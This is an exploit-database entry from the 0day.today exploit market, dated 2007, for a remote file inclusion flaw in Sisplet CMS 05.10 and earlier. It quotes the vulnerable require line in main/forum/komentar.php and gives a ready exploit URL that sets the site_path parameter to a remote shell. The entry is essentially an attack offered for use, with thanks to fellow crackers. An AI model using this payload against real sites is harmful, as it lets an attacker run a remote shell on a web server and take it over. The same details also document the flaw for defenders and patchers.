[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Sisplet CMS <= 05.10 (site_path) Remote File Inclusion Vulnerability

Author
kezzap66345
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-1708
Category
web applications
Date add
04-04-2007
Platform
unsorted
====================================================================
Sisplet CMS <= 05.10 (site_path) Remote File Inclusion Vulnerability
====================================================================



Sisplet CMS
*****************
Found by kezzap66345 *
*****************


*****************
*****************
ERROR#1:
File:main/forum/komentar.php
*****************


require($site_path.'main/forum/class.php');     <<< rfi coded


**************************************************************************************
RFI#1:

http://SITE.com/path/main/forum/komentar.php?site_path=[SHELL]


**************************************************************************************
**************************************************************************************
Thanks:Siircicocuk and x0r0n
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
******Thanx****SiiRCiCOCUK************************************************************




#  0day.today [2024-11-15]  #